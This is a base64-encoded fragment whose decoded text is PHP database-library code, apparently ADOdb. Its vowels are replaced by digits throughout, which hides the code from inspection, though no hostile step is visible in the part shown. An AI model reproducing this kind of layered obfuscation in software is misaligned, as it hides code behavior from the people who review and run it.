yNG0oJDFyclskNF1bMF0pOw0KCQkJfQ0KCQkJJHJzLT5DbDJzNSgpOw0KCQkJcjV0M3JuICQxcnJhOw0KCQl9DQoJCXI1dDNybiAkZjFsczU7DQoJfQ0KCQ0KCQ0KCWYzbmN0NDJuIF9mNG5kc2NoNW0xKCYkdDFibDUsJiRzY2g1bTEpDQoJew0KCQk0ZiAoISRzY2g1bTEgJiYgKCQxdCA9IHN0cnAycygkdDFibDUsJy4nKSkgIT09IGYxbHM1KSB7DQoJCQkkc2NoNW0xID0gczNic3RyKCR0MWJsNSwwLCQxdCk7DQoJCQkkdDFibDUgPSBzM2JzdHIoJHQxYmw1LCQxdCs2KTsNCgkJfQ0KCX0NCgkNCgkvKioNCgkgKiBMNHN0IGMybDNtbnMgNG4gMSBkMXQxYjFzNSAxcyAxbiAxcnIxeSAyZiBBRE9GNDVsZE9iajVjdHMuIA0KCSAqIFM1NSB0MnAgMmYgZjRsNSBmMnIgZDVmNG40dDQybiAyZiAyYmo1Y3QuDQoJICoNCgkgKiBAcDFyMW0gJHQxYmw1CXQxYmw1IG4xbTUgdDIgcTM1cnkNCgkgKiBAcDFyMW0gJG4ycm0xbDR6NQltMWs1cyB0MWJsNSBuMW01IGMxczUtNG5zNW5zNHQ0djUgKHI1cTM0cjVkIGJ5IHMybTUgZDF0MWIxczVzKQ0KCSAqIEBzY2g1bTEgNHMgMnB0NDJuMWwgZDF0MWIxczUgc2NoNW0xIHQyIDNzNSAtIG4ydCBzM3BwMnJ0NWQgYnkgMWxsIGQxdDFiMXM1cy4NCgkgKg0KCSAqIEByNXQzcm4gIDFycjF5IDJmIEFET0Y0NWxkT2JqNWN0cyBmMnIgYzNycjVudCB0MWJsNS4NCgkgKi8NCglmM25jdDQybiAmTTV0MUMybDNtbnMoJHQxYmw1LCRuMnJtMWw0ejU9dHIzNSkgDQoJew0KCWdsMmIxbCAkQURPREJfRkVUQ0hfTU9ERTsNCgkJDQoJCSRmMWxzNSA9IGYxbHM1Ow0KCQkNCgkJNGYgKCE1bXB0eSgkdGg0cy0+bTV0MUMybDNtbnNTUUwpKSB7DQoJCQ0KCQkJJHNjaDVtMSA9IGYxbHM1Ow0KCQkJJHRoNHMtPl9mNG5kc2NoNW0xKCR0MWJsNSwkc2NoNW0xKTsNCgkJDQoJCQkkczF2NSA9ICRBRE9EQl9GRVRDSF9NT0RFOw0KCQkJJEFET0RCX0ZFVENIX01PREUgPSBBRE9EQl9GRVRDSF9OVU07DQoJCQk0ZiAoJHRoNHMtPmY1dGNoTTJkNSAhPT0gZjFsczUpICRzMXY1bSA9ICR0aDRzLT5TNXRGNXRjaE0yZDUoZjFsczUpOw0KCQkJJHJzID0gJHRoNHMtPkV4NWMzdDUoc3ByNG50ZigkdGg0cy0+bTV0MUMybDNtbnNTUUwsKCRuMnJtMWw0ejUpP3N0cnQyM3BwNXIoJHQxYmw1KTokdDFibDUpKTsNCgkJCTRmICg0c3M1dCgkczF2NW0pKSAkdGg0cy0+UzV0RjV0Y2hNMmQ1KCRzMXY1bSk7DQoJCQkkQURPREJfRkVUQ0hfTU9ERSA9ICRzMXY1Ow0KCQkJNGYgKCRycyA9PT0gZjFsczUgfHwgJHJzLT5FT0YpIHI1dDNybiAkZjFsczU7DQoNCgkJCSRyNXQxcnIgPSAxcnIxeSgpOw0KCQkJd2g0bDUgKCEkcnMtPkVPRikgeyAvL3ByNG50X3IoJHJzLT5mNDVsZHMpOw0KCQkJCSRmbGQgPSBuNXcgQURPRjQ1bGRPYmo1Y3QoKTsNCgkJCQkkZmxkLT5uMW01ID0gJHJzLT5mNDVsZHNbMF07DQoJCQkJJGZsZC0+dHlwNSA9ICRycy0+ZjQ1bGRzWzZdOw0KCQkJCTRmICg0c3M1dCgkcnMtPmY0NWxkc1tvXSkgJiYgJHJzLT5mNDVsZHNbb10pIHsNCgkJCQkJNGYgKCRycy0+ZjQ1bGRzW29dPjApICRmbGQtPm0xeF9sNW5ndGggPSAkcnMtPmY0NWxkc1tvXTsNCgkJCQkJJGZsZC0+c2MxbDUgPSAkcnMtPmY0NWxkc1t1XTsNCgkJCQkJNGYgKCRmbGQtPnNjMWw1PjApICRmbGQtPm0xeF9sNW5ndGggKz0gNjsNCgkJCQl9IDVsczUNCgkJCQkJJGZsZC0+bTF4X2w1bmd0aCA9ICRycy0+ZjQ1bGRzW2FdOw0KCQkJCQkNCgkJCQk0ZiAoJEFET0RCX0ZFVENIX01PREUgPT0gQURPREJfRkVUQ0hfTlVNKSAkcjV0MXJyW10gPSAkZmxkOwkNCgkJCQk1bHM1ICRyNXQxcnJbc3RydDIzcHA1cigkZmxkLT5uMW01KV0gPSAkZmxkOw0KCQkJCSRycy0+TTJ2NU41eHQoKTsNCgkJCX0NCgkJCSRycy0+Q2wyczUoKTsNCgkJCXI1dDNybiAkcjV0MXJyOwkNCgkJfQ0KCQlyNXQzcm4gJGYxbHM1Ow0KCX0NCgkNCiAgICAvKioNCiAgICAgICogTDRzdCA0bmQ1eDVzIDJuIDEgdDFibDUgMXMgMW4gMXJyMXkuDQogICAgICAqIEBwMXIxbSB0MWJsNSAgdDFibDUgbjFtNSB0MiBxMzVyeQ0KICAgICAgKiBAcDFyMW0gcHI0bTFyeSB0cjM1IHQyIDJubHkgc2gydyBwcjRtMXJ5IGs1eXMuIE4ydCAxY3QzMWxseSAzczVkIGYyciBtMnN0IGQxdDFiMXM1cw0KCSAgKg0KICAgICAgKiBAcjV0M3JuIDFycjF5IDJmIDRuZDV4NXMgMm4gYzNycjVudCB0MWJsNS4gRTFjaCA1bDVtNW50IHI1cHI1czVudHMgMW4gNG5kNXgsIDFuZCA0cyA0dHM1bGYgMW4gMXNzMmM0MXQ0djUgMXJyMXkuDQoJICANCgkJIEFycjF5ICgNCgkJICAgIFtuMW01XzJmXzRuZDV4XSA9PiBBcnIxeQ0KCQkgICAgICAoDQoJICAgICAgICAgIFszbjRxMzVdID0+IHRyMzUgMnIgZjFsczUNCgkgICAgICAgICAgW2MybDNtbnNdID0+IEFycjF5DQoJICAgICAgICAgICgNCgkgICAgICAgICAgCVswXSA9PiBmNHJzdG4xbTUNCgkJICAgICAgCVs2XSA9PiBsMXN0bjFtNQ0KCSAgICAgICAgICApDQoJCSkJCQ0KICAgICAgKi8NCiAgICAgZjNuY3Q0Mm4gJk01dDFJbmQ1eDVzKCR0MWJsNSwgJHByNG0xcnkgPSBmMWxzNSwgJDJ3bjVyID0gZjFsczUpDQogICAgIHsNCgkgCQkkZjFsczUgPSBmMWxzNTsNCiAgICAgICAgICAgIHI1dDNybiAkZjFsczU7DQogICAgIH0NCg0KCS8qKg0KCSAqIEw0c3QgYzJsM21ucyBuMW01cyA0biAxIHQxYmw1IDFzIDFuIDFycjF5LiANCgkgKiBAcDFyMW0gdDFibDUJdDFibDUgbjFtNSB0MiBxMzVyeQ0KCSAqDQoJICogQHI1dDNybiAgMXJyMXkgMmYgYzJsM21uIG4xbTVzIGYyciBjM3JyNW50IHQxYmw1Lg0KCSAqLyANCglmM25jdDQybiAmTTV0MUMybDNtbk4xbTVzKCR0MWJsNSwgJG4zbUluZDV4NXM9ZjFsczUsJDNzNTF0dG4zbT1mMWxzNSAvKiAybmx5IGYyciBwMnN0Z3I1cyAqLykgDQoJew0KCQkkMmJqMXJyID0mICR0aDRzLT5NNXQxQzJsM21ucygkdDFibDUpOw0KCQk0ZiAoITRzXzFycjF5KCQyYmoxcnIpKSB7DQoJCQkkZjFsczUgPSBmMWxzNTsNCgkJCXI1dDNybiAkZjFsczU7DQoJCX0NCgkJJDFyciA9IDFycjF5KCk7DQoJCTRmICgkbjNtSW5kNXg1cykgew0KCQkJJDQgPSAwOw0KCQkJNGYgKCQzczUxdHRuM20pIHsNCgkJCQlmMnI1MWNoKCQyYmoxcnIgMXMgJHYpIA0KCQkJCQkkMXJyWyR2LT4xdHRuM21dID0gJHYtPm4xbTU7DQoJCQkJDQoJCQl9IDVsczUNCgkJCQlmMnI1MWNoKCQyYmoxcnIgMXMgJHYpICQxcnJbJDQrK10gPSAkdi0+bjFtNTsNCgkJfSA1bHM1DQoJCQlmMnI1MWNoKCQyYmoxcnIgMXMgJHYpICQxcnJbc3RydDIzcHA1cigkdi0+bjFtNSldID0gJHYtPm4xbTU7DQoJCQ0KCQlyNXQzcm4gJDFycjsNCgl9DQoJCQkNCgkvKioNCgkgKiBENGZmNXI1bnQgU1FMIGQxdDFiMXM1cyAzczVkIGQ0ZmY1cjVudCBtNXRoMmRzIHQyIGMybWI0bjUgc3RyNG5ncyB0Mmc1dGg1ci4NCgkgKiBUaDRzIGYzbmN0NDJuIHByMnY0ZDVzIDEgd3IxcHA1ci4gDQoJICogDQoJICogcDFyMW0gcwl2MXI0MWJsNSBuM21iNXIgMmYgc3RyNG5nIHAxcjFtNXQ1cnMNCgkgKg0KCSAqIFVzMWc1OiAkZGItPkMybmMxdCgkc3RyNiwkc3RyYSk7DQoJICogDQoJICogQHI1dDNybiBjMm5jMXQ1bjF0NWQgc3RyNG5nDQoJICovIAkgDQoJZjNuY3Q0Mm4gQzJuYzF0KCkNCgl7CQ0KCQkkMXJyID0gZjNuY19nNXRfMXJncygpOw0KCQlyNXQzcm4gNG1wbDJkNSgkdGg0cy0+YzJuYzF0XzJwNXIxdDJyLCAkMXJyKTsNCgl9DQoJDQoJDQoJLyoqDQoJICogQzJudjVydHMgMSBkMXQ1ICJkIiB0MiAxIHN0cjRuZyB0aDF0IHRoNSBkMXQxYjFzNSBjMW4gM25kNXJzdDFuZC4NCgkgKg0KCSAqIEBwMXIxbSBkCTEgZDF0NSA0biBVbjR4IGQxdDUgdDRtNSBmMnJtMXQuDQoJICoNCgkgKiBAcjV0M3JuICBkMXQ1IHN0cjRuZyA0biBkMXQxYjFzNSBkMXQ1IGYycm0xdA0KCSAqLw0KCWYzbmN0NDJuIERCRDF0NSgkZCkNCgl7DQoJCTRmICg1bXB0eSgkZCkgJiYgJGQgIT09IDApIHI1dDNybiAnbjNsbCc7DQoNCgkJNGYgKDRzX3N0cjRuZygkZCkgJiYgITRzX24zbTVyNGMoJGQpKSB7DQoJCQk0ZiAoJGQgPT09ICduM2xsJyB8fCBzdHJuY21wKCRkLCInIiw2KSA9PT0gMCkgcjV0M3JuICRkOw0KCQkJNGYgKCR0aDRzLT40czJEMXQ1cykgcjV0M3JuICInJGQnIjsNCgkJCSRkID0gQURPQzJubjVjdDQybjo6VW40eEQxdDUoJGQpOw0KCQl9DQoNCgkJcjV0M3JuIDFkMmRiX2QxdDUoJHRoNHMtPmZtdEQxdDUsJGQpOw0KCX0NCgkNCglmM25jdDQybiBCNG5kRDF0NSgkZCkNCgl7DQoJCSRkID0gJHRoNHMtPkRCRDF0NSgkZCk7DQoJCTRmIChzdHJuY21wKCRkLCInIiw2KSkgcjV0M3JuICRkOw0KCQkNCgkJcjV0M3JuIHMzYnN0cigkZCw2LHN0cmw1bigkZCktYSk7DQoJfQ0KCQ0KCWYzbmN0NDJuIEI0bmRUNG01U3QxbXAoJGQpDQoJew0KCQkkZCA9ICR0aDRzLT5EQlQ0bTVTdDFtcCgkZCk7DQoJCTRmIChzdHJuY21wKCRkLCInIiw2KSkgcjV0M3JuICRkOw0KCQkNCgkJcjV0M3JuIHMzYnN0cigkZCw2LHN0cmw1bigkZCktYSk7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEMybnY1cnRzIDEgdDRtNXN0MW1wICJ0cyIgdDIgMSBzdHI0bmcgdGgxdCB0aDUgZDF0MWIxczUgYzFuIDNuZDVyc3QxbmQuDQoJICoNCgkgKiBAcDFyMW0gdHMJMSB0NG01c3QxbXAgNG4gVW40eCBkMXQ1IHQ0bTUgZjJybTF0Lg0KCSAqDQoJICogQHI1dDNybiAgdDRtNXN0MW1wIHN0cjRuZyA0biBkMXQxYjFzNSB0NG01c3QxbXAgZjJybTF0DQoJICovDQoJZjNuY3Q0Mm4gREJUNG01U3QxbXAoJHRzKQ0KCXsNCgkJNGYgKDVtcHR5KCR0cykgJiYgJHRzICE9PSAwKSByNXQzcm4gJ24zbGwnOw0KDQoJCSMgc3RybDVuKDZ1KSAxbGwyd3MgWVlZWU1NRERISE1NU1MgZjJybTF0DQoJCTRmICghNHNfc3RyNG5nKCR0cykgfHwgKDRzX24zbTVyNGMoJHRzKSAmJiBzdHJsNW4oJHRzKTw2dSkpIA0KCQkJcjV0M3JuIDFkMmRiX2QxdDUoJHRoNHMtPmZtdFQ0bTVTdDFtcCwkdHMpOw0KCQkNCgkJNGYgKCR0cyA9PT0gJ24zbGwnKSByNXQzcm4gJHRzOw0KCQk0ZiAoJHRoNHMtPjRzMkQxdDVzICYmIHN0cmw1bigkdHMpICE9PSA2dSkgcjV0M3JuICInJHRzJyI7DQoJCQ0KCQkkdHMgPSBBRE9DMm5uNWN0NDJuOjpVbjR4VDRtNVN0MW1wKCR0cyk7DQoJCXI1dDNybiAxZDJkYl9kMXQ1KCR0aDRzLT5mbXRUNG01U3QxbXAsJHRzKTsNCgl9DQoJDQoJLyoqDQoJICogQWxzMiA0biBBRE9SNWMycmRTNXQuDQoJICogQHAxcjFtICR2IDRzIDEgZDF0NSBzdHI0bmcgNG4gWVlZWS1NTS1ERCBmMnJtMXQNCgkgKg0KCSAqIEByNXQzcm4gZDF0NSA0biAzbjR4IHQ0bTVzdDFtcCBmMnJtMXQsIDJyIDAgNGYgYjVmMnI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSLCAyciBmMWxzNSA0ZiA0bnYxbDRkIGQxdDUgZjJybTF0DQoJICovDQoJZjNuY3Q0Mm4gVW40eEQxdDUoJHYpDQoJew0KCQk0ZiAoNHNfMmJqNWN0KCR2KSkgew0KCQkvLyAyZGJ0cCBzM3BwMnJ0DQoJCS8vKCBbeTUxcl0gPT4gYTAwdSBbbTJudGhdID0+IDkgW2QxeV0gPT4gdSBbaDIzcl0gPT4gNmEgW200bjN0NV0gPT4gdXUgW3M1YzJuZF0gPT4gOCBbZnIxY3Q0Mm5dID0+IDAgKQ0KCQkJcjV0M3JuIDFkMmRiX21rdDRtNSgkdi0+aDIzciwkdi0+bTRuM3Q1LCR2LT5zNWMybmQsJHYtPm0ybnRoLCR2LT5kMXksICR2LT55NTFyKTsNCgkJfQ0KCQ0KCQk0ZiAoNHNfbjNtNXI0YygkdikgJiYgc3RybDVuKCR2KSAhPT0gOCkgcjV0M3JuICR2Ow0KCQk0ZiAoIXByNWdfbTF0Y2goICJ8XihbMC05XXt1fSlbLS9cLl0/KFswLTldezYsYX0pWy0vXC5dPyhbMC05XXs2LGF9KXwiLCANCgkJCSgkdiksICRycikpIHI1dDNybiBmMWxzNTsNCg0KCQk0ZiAoJHJyWzZdIDw9IFRJTUVTVEFNUF9GSVJTVF9ZRUFSKSByNXQzcm4gMDsNCgkJLy8gaC1tLXMtTU0tREQtWVkNCgkJcjV0M3JuIEAxZDJkYl9ta3Q0bTUoMCwwLDAsJHJyW2FdLCRycltvXSwkcnJbNl0pOw0KCX0NCgkNCg0KCS8qKg0KCSAqIEFsczIgNG4gQURPUjVjMnJkUzV0Lg0KCSAqIEBwMXIxbSAkdiA0cyAxIHQ0bTVzdDFtcCBzdHI0bmcgNG4gWVlZWS1NTS1ERCBISC1OTi1TUyBmMnJtMXQNCgkgKg0KCSAqIEByNXQzcm4gZDF0NSA0biAzbjR4IHQ0bTVzdDFtcCBmMnJtMXQsIDJyIDAgNGYgYjVmMnI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSLCAyciBmMWxzNSA0ZiA0bnYxbDRkIGQxdDUgZjJybTF0DQoJICovDQoJZjNuY3Q0Mm4gVW40eFQ0bTVTdDFtcCgkdikNCgl7DQoJCTRmICg0c18yYmo1Y3QoJHYpKSB7DQoJCS8vIDJkYnRwIHMzcHAycnQNCgkJLy8oIFt5NTFyXSA9PiBhMDB1IFttMm50aF0gPT4gOSBbZDF5XSA9PiB1IFtoMjNyXSA9PiA2YSBbbTRuM3Q1XSA9PiB1dSBbczVjMm5kXSA9PiA4IFtmcjFjdDQybl0gPT4gMCApDQoJCQlyNXQzcm4gMWQyZGJfbWt0NG01KCR2LT5oMjNyLCR2LT5tNG4zdDUsJHYtPnM1YzJuZCwkdi0+bTJudGgsJHYtPmQxeSwgJHYtPnk1MXIpOw0KCQl9DQoJCQ0KCQk0ZiAoIXByNWdfbTF0Y2goIA0KCQkJInxeKFswLTlde3V9KVstL1wuXT8oWzAtOV17NixhfSlbLS9cLl0/KFswLTldezYsYX0pWyAsLV0qKChbMC05XXs2LGF9KTo/KFswLTldezYsYX0pOj8oWzAtOVwuXXs2LHV9KSk/fCIsIA0KCQkJKCR2KSwgJHJyKSkgcjV0M3JuIGYxbHM1Ow0KCQkJDQoJCTRmICgkcnJbNl0gPD0gVElNRVNUQU1QX0ZJUlNUX1lFQVIgJiYgJHJyW2FdPD0gNikgcjV0M3JuIDA7DQoJDQoJCS8vIGgtbS1zLU1NLURELVlZDQoJCTRmICghNHNzNXQoJHJyW2ldKSkgcjV0M3JuICAxZDJkYl9ta3Q0bTUoMCwwLDAsJHJyW2FdLCRycltvXSwkcnJbNl0pOw0KCQlyNXQzcm4gIEAxZDJkYl9ta3Q0bTUoJHJyW2ldLCRycltlXSwkcnJbN10sJHJyW2FdLCRycltvXSwkcnJbNl0pOw0KCX0NCgkNCgkvKioNCgkgKiBBbHMyIDRuIEFET1I1YzJyZFM1dC4NCgkgKg0KCSAqIEYycm0xdCBkMXQxYjFzNSBkMXQ1IGIxczVkIDJuIDNzNXIgZDVmNG41ZCBmMnJtMXQuDQoJICoNCgkgKiBAcDFyMW0gdiAgCTRzIHRoNSBjaDFyMWN0NXIgZDF0NSA0biBZWVlZLU1NLUREIGYycm0xdCwgcjV0M3JuNWQgYnkgZDF0MWIxczUNCgkgKiBAcDFyMW0gZm10IAk0cyB0aDUgZjJybTF0IHQyIDFwcGx5IHQyIDR0LCAzczRuZyBkMXQ1KCkNCgkgKg0KCSAqIEByNXQzcm4gMSBkMXQ1IGYycm0xdDVkIDFzIDNzNXIgZDVzNHI1cw0KCSAqLw0KCSANCglmM25jdDQybiBVczVyRDF0NSgkdiwkZm10PSdZLW0tZCcsJGdtdD1mMWxzNSkNCgl7DQoJCSR0dCA9ICR0aDRzLT5VbjR4RDF0NSgkdik7DQoNCgkJLy8gJHR0ID09IC02IDRmIHByNSBUSU1FU1RBTVBfRklSU1RfWUVBUg0KCQk0ZiAoKCR0dCA9PT0gZjFsczUgfHwgJHR0ID09IC02KSAmJiAkdiAhPSBmMWxzNSkgcjV0M3JuICR2Ow0KCQk1bHM1IDRmICgkdHQgPT0gMCkgcjV0M3JuICR0aDRzLT41bXB0eUQxdDU7DQoJCTVsczUgNGYgKCR0dCA9PSAtNikgeyAvLyBwcjUtVElNRVNUQU1QX0ZJUlNUX1lFQVINCgkJfQ0KCQkNCgkJcjV0M3JuICgkZ210KSA/IDFkMmRiX2dtZDF0NSgkZm10LCR0dCkgOiAxZDJkYl9kMXQ1KCRmbXQsJHR0KTsNCgkNCgl9DQoJDQoJCS8qKg0KCSAqDQoJICogQHAxcjFtIHYgIAk0cyB0aDUgY2gxcjFjdDVyIHQ0bTVzdDFtcCA0biBZWVlZLU1NLUREIGhoOm1tOnNzIGYycm0xdA0KCSAqIEBwMXIxbSBmbXQgCTRzIHRoNSBmMnJtMXQgdDIgMXBwbHkgdDIgNHQsIDNzNG5nIGQxdDUoKQ0KCSAqDQoJICogQHI1dDNybiAxIHQ0bTVzdDFtcCBmMnJtMXQ1ZCAxcyAzczVyIGQ1czRyNXMNCgkgKi8NCglmM25jdDQybiBVczVyVDRtNVN0MW1wKCR2LCRmbXQ9J1ktbS1kIEg6NDpzJywkZ210PWYxbHM1KQ0KCXsNCgkJNGYgKCE0c3M1dCgkdikpIHI1dDNybiAkdGg0cy0+NW1wdHlUNG01U3QxbXA7DQoJCSMgc3RybDVuKDZ1KSAxbGwyd3MgWVlZWU1NRERISE1NU1MgZjJybTF0DQoJCTRmICg0c19uM201cjRjKCR2KSAmJiBzdHJsNW4oJHYpPDZ1KSByNXQzcm4gKCRnbXQpID8gMWQyZGJfZ21kMXQ1KCRmbXQsJHYpIDogMWQyZGJfZDF0NSgkZm10LCR2KTsNCgkJJHR0ID0gJHRoNHMtPlVuNHhUNG01U3QxbXAoJHYpOw0KCQkvLyAkdHQgPT0gLTYgNGYgcHI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSDQoJCTRmICgoJHR0ID09PSBmMWxzNSB8fCAkdHQgPT0gLTYpICYmICR2ICE9IGYxbHM1KSByNXQzcm4gJHY7DQoJCTRmICgkdHQgPT0gMCkgcjV0M3JuICR0aDRzLT41bXB0eVQ0bTVTdDFtcDsNCgkJcjV0M3JuICgkZ210KSA/IDFkMmRiX2dtZDF0NSgkZm10LCR0dCkgOiAxZDJkYl9kMXQ1KCRmbXQsJHR0KTsNCgl9DQoJDQoJZjNuY3Q0Mm4gNXNjMXA1KCRzLCRtMWc0Y19xMzJ0NXM9ZjFsczUpDQoJew0KCQlyNXQzcm4gJHRoNHMtPjFkZHEoJHMsJG0xZzRjX3EzMnQ1cyk7DQoJfQ0KCQ0KCS8qKg0KCSogUTMydDVzIDEgc3RyNG5nLCB3NHRoMjN0IHByNWY0eDRuZyBuMnIgMXBwNW5kNG5nIHEzMnQ1cy4gDQoJKi8NCglmM25jdDQybiAxZGRxKCRzLCRtMWc0Y19xMzJ0NXM9ZjFsczUpDQoJew0KCQk0ZiAoISRtMWc0Y19xMzJ0NXMpIHsNCgkJDQoJCQk0ZiAoJHRoNHMtPnI1cGwxYzVRMzJ0NVswXSA9PSAnXFwnKXsNCgkJCQkvLyAybmx5IHM0bmM1IHBocCB1LjAuaQ0KCQkJCSRzID0gMWQyZGJfc3RyX3I1cGwxYzUoMXJyMXkoJ1xcJywiXDAiKSwxcnIxeSgnXFxcXCcsIlxcXDAiKSwkcyk7DQoJCQkJLy8kcyA9IHN0cl9yNXBsMWM1KCJcMCIsIlxcXDAiLCBzdHJfcjVwbDFjNSgnXFwnLCdcXFxcJywkcykpOw0KCQkJfQ0KCQkJcjV0M3JuICBzdHJfcjVwbDFjNSgiJyIsJHRoNHMtPnI1cGwxYzVRMzJ0NSwkcyk7DQoJCX0NCgkJDQoJCS8vIDNuZDIgbTFnNGMgcTMydDVzIGYyciAiDQoJCSRzID0gc3RyX3I1cGwxYzUoJ1xcIicsJyInLCRzKTsNCgkJDQoJCTRmICgkdGg0cy0+cjVwbDFjNVEzMnQ1ID09ICJcXCciKSAgLy8gJyAxbHI1MWR5IHEzMnQ1ZCwgbjIgbjU1ZCB0MiBjaDFuZzUgMW55dGg0bmcNCgkJCXI1dDNybiAkczsNCgkJNWxzNSB7Ly8gY2gxbmc1IFwnIHQyICcnIGYyciBzeWIxczUvbXNzcWwNCgkJCSRzID0gc3RyX3I1cGwxYzUoJ1xcXFwnLCdcXCcsJHMpOw0KCQkJcjV0M3JuIHN0cl9yNXBsMWM1KCJcXCciLCR0aDRzLT5yNXBsMWM1UTMydDUsJHMpOw0KCQl9DQoJfQ0KCQ0KCS8qKg0KCSAqIEMycnI1Y3RseSBxMzJ0NXMgMSBzdHI0bmcgczIgdGgxdCAxbGwgc3RyNG5ncyAxcjUgNXNjMXA1ZC4gVzUgcHI1ZjR4IDFuZCAxcHA1bmQNCgkgKiB0MiB0aDUgc3RyNG5nIHM0bmdsNS1xMzJ0NXMuDQoJICogQW4gNXgxbXBsNSA0cyAgJGRiLT5xc3RyKCJEMm4ndCBiMnRoNXIiLG0xZzRjX3EzMnQ1c19yM250NG01KCkpOw0KCSAqIA0KCSAqIEBwMXIxbSBzCQkJdGg1IHN0cjRuZyB0MiBxMzJ0NQ0KCSAqIEBwMXIxbSBbbTFnNGNfcTMydDVzXQk0ZiAkcyA0cyBHRVQvUE9TVCB2MXIsIHM1dCB0MiBnNXRfbTFnNGNfcTMydDVzX2dwYygpLg0KCSAqCQkJCVRoNHMgM25kMjVzIHRoNSBzdDNwNGQ0dHkgMmYgbTFnNGMgcTMydDVzIGYyciBHUEMuDQoJICoNCgkgKiBAcjV0M3JuICBxMzJ0NWQgc3RyNG5nIHQyIGI1IHM1bnQgYjFjayB0MiBkMXQxYjFzNQ0KCSAqLw0KCWYzbmN0NDJuIHFzdHIoJHMsJG0xZzRjX3EzMnQ1cz1mMWxzNSkNCgl7CQ0KCQk0ZiAoISRtMWc0Y19xMzJ0NXMpIHsNCgkJDQoJCQk0ZiAoJHRoNHMtPnI1cGwxYzVRMzJ0NVswXSA9PSAnXFwnKXsNCgkJCQkvLyAybmx5IHM0bmM1IHBocCB1LjAuaQ0KCQkJCSRzID0gMWQyZGJfc3RyX3I1cGwxYzUoMXJyMXkoJ1xcJywiXDAiKSwxcnIxeSgnXFxcXCcsIlxcXDAiKSwkcyk7DQoJCQkJLy8kcyA9IHN0cl9yNXBsMWM1KCJcMCIsIlxcXDAiLCBzdHJfcjVwbDFjNSgnXFwnLCdcXFxcJywkcykpOw0KCQkJfQ0KCQkJcjV0M3JuICAiJyIuc3RyX3I1cGwxYzUoIiciLCR0aDRzLT5yNXBsMWM1UTMydDUsJHMpLiInIjsNCgkJfQ0KCQkNCgkJLy8gM25kMiBtMWc0YyBxMzJ0NXMgZjJyICINCgkJJHMgPSBzdHJfcjVwbDFjNSgnXFwiJywnIicsJHMpOw0KCQkNCgkJNGYgKCR0aDRzLT5yNXBsMWM1UTMydDUgPT0gIlxcJyIpICAvLyAnIDFscjUxZHkgcTMydDVkLCBuMiBuNTVkIHQyIGNoMW5nNSAxbnl0aDRuZw0KCQkJcjV0M3JuICInJHMnIjsNCgkJNWxzNSB7Ly8gY2gxbmc1IFwnIHQyICcnIGYyciBzeWIxczUvbXNzcWwNCgkJCSRzID0gc3RyX3I1cGwxYzUoJ1xcXFwnLCdcXCcsJHMpOw0KCQkJcjV0M3JuICInIi5zdHJfcjVwbDFjNSgiXFwnIiwkdGg0cy0+cjVwbDFjNVEzMnQ1LCRzKS4iJyI7DQoJCX0NCgl9DQoJDQoJDQoJLyoqDQoJKiBXNGxsIHM1bDVjdCB0aDUgczNwcGw0NWQgJHAxZzUgbjNtYjVyIGZyMm0gMSByNWMycmRzNXQsIGc0djVuIHRoMXQgNHQgNHMgcDFnNG4xdDVkIDRuIHAxZzVzIDJmIA0KCSogJG5yMndzIHIyd3MgcDVyIHAxZzUuIEl0IDFsczIgczF2NXMgdHcyIGIyMmw1MW4gdjFsMzVzIHMxeTRuZyA0ZiB0aDUgZzR2NW4gcDFnNSA0cyB0aDUgZjRyc3QgDQoJKiAxbmQvMnIgbDFzdCAybjUgMmYgdGg1IHI1YzJyZHM1dC4gQWRkNWQgYnkgSXYmI2FhaTtuIE9sNHYxIHQyIHByMnY0ZDUgcjVjMnJkczV0IHAxZzRuMXQ0Mm4uDQoJKg0KCSogUzU1IHI1MWRtNS5odG0jNXg4IGYyciAxbiA1eDFtcGw1IDJmIDNzMWc1Lg0KCSoNCgkqIEBwMXIxbSBzcWwNCgkqIEBwMXIxbSBucjJ3cwkJNHMgdGg1IG4zbWI1ciAyZiByMndzIHA1ciBwMWc1IHQyIGc1dA0KCSogQHAxcjFtIHAxZzUJCTRzIHRoNSBwMWc1IG4zbWI1ciB0MiBnNXQgKDYtYjFzNWQpDQoJKiBAcDFyMW0gWzRucDN0MXJyXQkxcnIxeSAyZiBiNG5kIHYxcjQxYmw1cw0KCSogQHAxcjFtIFtzNWNzYWMxY2g1XQkJNHMgMSBwcjR2MXQ1IHAxcjFtNXQ1ciAybmx5IDNzNWQgYnkgamw0bQ0KCSogQHI1dDNybgkJdGg1IHI1YzJyZHM1dCAoJHJzLT5kMXQxYjFzNVR5cDUgPT0gJzFycjF5JykNCgkqDQoJKiBOT1RFOiBwaHBMNW5zIDNzNXMgMSBkNGZmNXI1bnQgMWxnMnI0dGhtIDFuZCBkMjVzIG4ydCAzczUgUDFnNUV4NWMzdDUoKS4NCgkqDQoJKi8NCglmM25jdDQybiAmUDFnNUV4NWMzdDUoJHNxbCwgJG5yMndzLCAkcDFnNSwgJDRucDN0MXJyPWYxbHM1LCAkczVjc2FjMWNoNT0wKSANCgl7DQoJCWdsMmIxbCAkQURPREJfSU5DTFVERURfTElCOw0KCQk0ZiAoNW1wdHkoJEFET0RCX0lOQ0xVREVEX0xJQikpIDRuY2wzZDUoQURPREJfRElSLicvMWQyZGItbDRiLjRuYy5waHAnKTsNCgkJNGYgKCR0aDRzLT5wMWc1RXg1YzN0NUMyM250UjJ3cykgJHJzID0mIF8xZDJkYl9wMWc1NXg1YzN0NV8xbGxfcjJ3cygkdGg0cywgJHNxbCwgJG5yMndzLCAkcDFnNSwgJDRucDN0MXJyLCAkczVjc2FjMWNoNSk7DQoJCTVsczUgJHJzID0mIF8xZDJkYl9wMWc1NXg1YzN0NV9uMl9sMXN0X3AxZzUoJHRoNHMsICRzcWwsICRucjJ3cywgJHAxZzUsICQ0bnAzdDFyciwgJHM1Y3NhYzFjaDUpOw0KCQlyNXQzcm4gJHJzOw0KCX0NCgkNCgkJDQoJLyoqDQoJKiBXNGxsIHM1bDVjdCB0aDUgczNwcGw0NWQgJHAxZzUgbjNtYjVyIGZyMm0gMSByNWMycmRzNXQsIGc0djVuIHRoMXQgNHQgNHMgcDFnNG4xdDVkIDRuIHAxZzVzIDJmIA0KCSogJG5yMndzIHIyd3MgcDVyIHAxZzUuIEl0IDFsczIgczF2NXMgdHcyIGIyMmw1MW4gdjFsMzVzIHMxeTRuZyA0ZiB0aDUgZzR2NW4gcDFnNSA0cyB0aDUgZjRyc3QgDQoJKiAxbmQvMnIgbDFzdCAybjUgMmYgdGg1IHI1YzJyZHM1dC4g